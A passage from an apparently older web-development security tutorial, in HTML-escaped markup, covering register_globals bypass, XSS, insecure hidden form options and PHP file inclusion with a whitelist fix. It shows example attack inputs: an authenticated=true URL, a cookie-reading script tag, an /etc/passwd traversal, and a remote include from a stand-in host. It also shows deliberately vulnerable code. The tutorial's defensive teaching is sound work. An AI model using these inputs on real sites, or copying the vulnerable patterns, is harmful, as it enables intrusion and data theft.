&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_POST&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;muppet&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_POST&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;password&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;password1&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$authenticated&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= true;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$authenticated&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// do something only admins are allowed to do&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;If this is &lt;em&gt;checkuser.php&lt;/em&gt; and global registering is on, then an attacker could call this in the browser as &lt;code&gt;http://example.com/checkuser.php?authenticated=true&lt;/code&gt; and could work around the whole user checking; his authentication as &lt;code&gt;$_GET[&#39;authenticated&#39;]&lt;/code&gt; automatically turns into &lt;code&gt;$authenticated&lt;/code&gt;.
&lt;h4&gt;Turn Off Error Messages&lt;/h4&gt;A lot of servers are set up to show you error messages when the 
browser encounters a problem. These messages often look cryptic, but 
they are a great source of information for attackers.
Creating an error and seeing what the server spits out is one of the 
first steps in checking the folder structure of a server. Funnily 
enough, error pages stating “File XYZ could not be found” were one of 
the first XSS attack opportunities, because you could look for a file 
named &lt;code&gt;&lt;script&gt;
alert(document.cookie),
&lt;/script&gt;&lt;/code&gt;.
&lt;h4&gt;Automatically Checking PHP for Security Issues&lt;/h4&gt;Uploading &lt;a href=&quot;http://phpsec.org/projects/phpsecinfo/&quot;&gt;PHPSecInfo&lt;/a&gt;
 to a folder is a pretty handy way to perform a quick audit of your PHP 
server’s security. Opening it in your browser gives you a detailed 
checklist of common security flaws and how they should be fixed.
But &lt;strong&gt;never leave this on a live server&lt;/strong&gt; because it gives attackers a lot of details about your set-up!
&lt;a href=&quot;http://phpsec.org/projects/phpsecinfo/&quot;&gt;&lt;img alt=&quot;PHPSecInfo gives you detailed security information about your PHP setup&quot; height=&quot;499&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/securityinfo.gif&quot; width=&quot;550&quot; /&gt;&lt;/a&gt;
&lt;em&gt;PHPSecInfo gives you detailed security information about your PHP setup.&lt;/em&gt;
&lt;h3&gt;What To Do To Your Code&lt;/h3&gt;Because you likely do not have much to do with your server let’s focus on things you do have full control of.
&lt;h4&gt;HTML&lt;/h4&gt;HTML is pretty safe. It is simply converted into text—no interaction 
with the server or calculations—so not much can go wrong. That said, you
 should always use HTML for what it’s for:
&lt;ul&gt;&lt;li&gt;&lt;strong&gt;HTML structures your content.&lt;/strong&gt;&lt;br /&gt;
HTML is not a database to store information. The reason it is not is  because you cannot rely on HTML content to stay unchanged. Anyone could  use browser debugging tools to mess around with your HTML and change the  content. So you run into security issues with JavaScript solutions that  rely on data in the HTML and don’t check the server for what that data  is allowed to be.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML is fully visible.&lt;/strong&gt;&lt;br /&gt;
Don’t use comments in the HTML to store sensitive information, and don’t  comment out sections of a page that are not ready yet but that point to  parts of an application that are in progress.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hiding things doesn’t make them go away.&lt;/strong&gt;&lt;br /&gt;
Even if you hide information with CSS or JavaScript, some people can get  it anyway. HTML is not there to give your application functionality;  that should always happen on the server.&lt;/li&gt;
&lt;/ul&gt;A wonderful example of insecure HTML was the drop-down menu on the 
website of a certain airline. This menu let you define the seating class
 you wanted to fly in as the last step before printing your voucher. The
 website rendered the HTML of the drop-down menu and commented out the 
sections that were not available for the price you had selected:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_862451&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;select&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;class&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;option&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;ec&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Economy&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;option&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;option&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;ecp&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Economy Plus&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;option&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;&lt;!--&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;&lt;option value=&quot;bu&quot;&gt;Business&lt;/option&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;&lt;option value=&quot;fi&quot;&gt;First&lt;/option&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;--&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;select&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The server-side code did not check to see whether you were eligible 
for a first-class ticket; it simply relied on the option not being 
available. The form was then sent via JavaScript. So, all you had to do 
to get a first-class ticket for the price of an economy seat was use &lt;a href=&quot;http://getfirebug.com/&quot;&gt;FireBug&lt;/a&gt; to add a new option to the form, select the value you wanted and send it off.
&lt;h4&gt;CSS&lt;/h4&gt;CSS is not really capable of doing much to the document and cannot 
access the server… for now. One problem with CSS is background images 
that point to URIs. You can inject code by somehow overriding these. The
 same applies to the &lt;code&gt;@import&lt;/code&gt; property for other style sheets.
Using &lt;code&gt;expression()&lt;/code&gt; in Internet Explorer to make 
calculations (or, as in most cases, to simulate what other browsers can 
already do) is dangerous, though, because what you are doing in essence 
is executing JavaScript inside a CSS block. So, don’t use it.
CSS changing a lot now, and we are giving it more power than ever 
before. Generating content with CSS, animation, calculations and font 
embedding all sound absolutely cool, but I get a prickly feeling in the 
back of my neck when I look at it right now.
Attack vectors have two features: they have the power to change the 
content of a document, and they are technologies that are not proven and
 are changing constantly. This is what CSS 3 is right now. 
Font-embedding in particular could become a big security issue, because 
fonts are binary data that could contain anything: harmless characters 
as well as viruses masquerading as a nice charset. It will be 
interesting to see how this develops.
&lt;h4&gt;JavaScript&lt;/h4&gt;JavaScript makes the Web what it is today. You can use it to build 
interfaces that are fun to use and that allow visitors to reach their 
goals fast and conveniently. You can and should use JavaScript for the 
following:
&lt;ul&gt;&lt;li&gt;Create slicker interfaces (e.g. auto-complete, asynchronous uploading).&lt;/li&gt;
&lt;li&gt;Warn users about flawed entries (password strength, for instance).&lt;/li&gt;
&lt;li&gt;Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)&lt;/li&gt;
&lt;li&gt;Create visual effects that cannot be done safely with CSS (animation, menus, etc.)&lt;/li&gt;
&lt;/ul&gt;JavaScript is very powerful, though, which also means that it is a security issue:
&lt;ul&gt;&lt;li&gt;JavaScript gives you full access to the document and allows you to post data to the Internet.&lt;/li&gt;
&lt;li&gt;You can read cookies and send them elsewhere.&lt;/li&gt;
&lt;li&gt;JavaScript is also fully readable by anyone using a browser.&lt;/li&gt;
&lt;li&gt;Any JavaScript on the page has the same rights as the others,  regardless of where it came from. If you can inject a script via XSS, it  can do and access whatever the other scripts can.&lt;/li&gt;
&lt;/ul&gt;This means you should not try to do any of the following in JavaScript:
&lt;ul&gt;&lt;li&gt;Store sensitive information (e.g. credit card numbers, any real user data).&lt;/li&gt;
&lt;li&gt;Store cookies containing session data.&lt;/li&gt;
&lt;li&gt;Try to protect content (e.g. right-click scripts, email obfuscation).&lt;/li&gt;
&lt;li&gt;Replace your server or save on server traffic without a fallback.&lt;/li&gt;
&lt;li&gt;Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.&lt;/li&gt;
&lt;li&gt;Trust any JavaScript that does not come from your server or a similar trusted source.&lt;/li&gt;
&lt;li&gt;Trust anything that comes from the URI, HTML or form fields. All of  these can be manipulated by attackers after the page has loaded. If you  use &lt;code&gt;document.write()&lt;/code&gt; on unfiltered data, you expose yourself to XSS attacks.&lt;/li&gt;
&lt;/ul&gt;In other words, AJAX is fun, but do not rely on its security. 
Whatever you do in JavaScript can be monitored and logged by an end user
 with the right tools.
&lt;h4&gt;PHP (or Any Server-Side Language)&lt;/h4&gt;&lt;strong&gt;Here be dragons!&lt;/strong&gt; The server-side language is where 
you can really mess up if you don’t know what you’re doing. The biggest 
problems are trusting information from the URI or user entry and 
printing it out in the page. As shown earlier in the XSS example with 
the colors, you will be making it easy to inject malicious code into 
your page.
There are two ways to deal with this: whitelisting and proper filtering.
Whitelisting is the most effective way to make sure nothing insecure 
gets written out. The trick is easy: don’t use information that gets 
sent through as the output; rather, just use it in conditions or as 
lookups.
Let’s say you want to add a file on demand to a page. You currently 
have these sections on the page: About Us, Contact, Clients, Portfolio, 
Home, Partners. You could store the data of these in &lt;em&gt;about-us.php&lt;/em&gt;, &lt;em&gt;contact.php&lt;/em&gt;, &lt;em&gt;clients.php&lt;/em&gt;, &lt;em&gt;portfolio.php&lt;/em&gt;, &lt;em&gt;index.php&lt;/em&gt; and &lt;em&gt;partners.php&lt;/em&gt;.
The &lt;strong&gt;amazingly bad way to do this&lt;/strong&gt; is probably the way you see done in many tutorials: a file called something like &lt;em&gt;template.php&lt;/em&gt;, which takes a &lt;code&gt;page&lt;/code&gt; parameter with the file name.
The template then normally contains something like this:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_489750&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--?php &lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;include&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;page&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]);?&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;If you call &lt;code&gt;http://example.com/template.php?page=about-us.php&lt;/code&gt;, this would load the “About Us” document and include it in the template where the code is located.
It would also allow someone to check out all of the other interesting things on your server. For example, &lt;code&gt;http://example.com/template.php?page=../../../../../../../../etc/passwd&lt;/code&gt; or the like would allow an attacker to read your &lt;code&gt;passwd&lt;/code&gt; file.
If your server allows for remote files with &lt;code&gt;include()&lt;/code&gt;, you could also inject a file from another server, like &lt;code&gt;http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?&lt;/code&gt;.
 Remember, these text files will be executed as PHP inside your other 
PHP file and thus have access to everything. A lot of them contain 
mass-mailers or check your system for free space and upload options to 
store data.
In short: &lt;strong&gt;never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt; in the HTML&lt;/strong&gt;. Instead, use pointers:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_764415&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--?php&lt;/code--&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$sites&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;about&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;about-us.php&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;contact&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;contact.php&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;clients&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;clients.php&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;portfolio&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;portfolio.php&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;home&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;index.php&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;partners&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&amp;gt;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;partners.php&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;( isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;page&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]) &amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$sites&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;page&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]]) &amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;file_exists&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$sites&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;page&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]]) ){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;include&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$sites&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;page&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]]);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
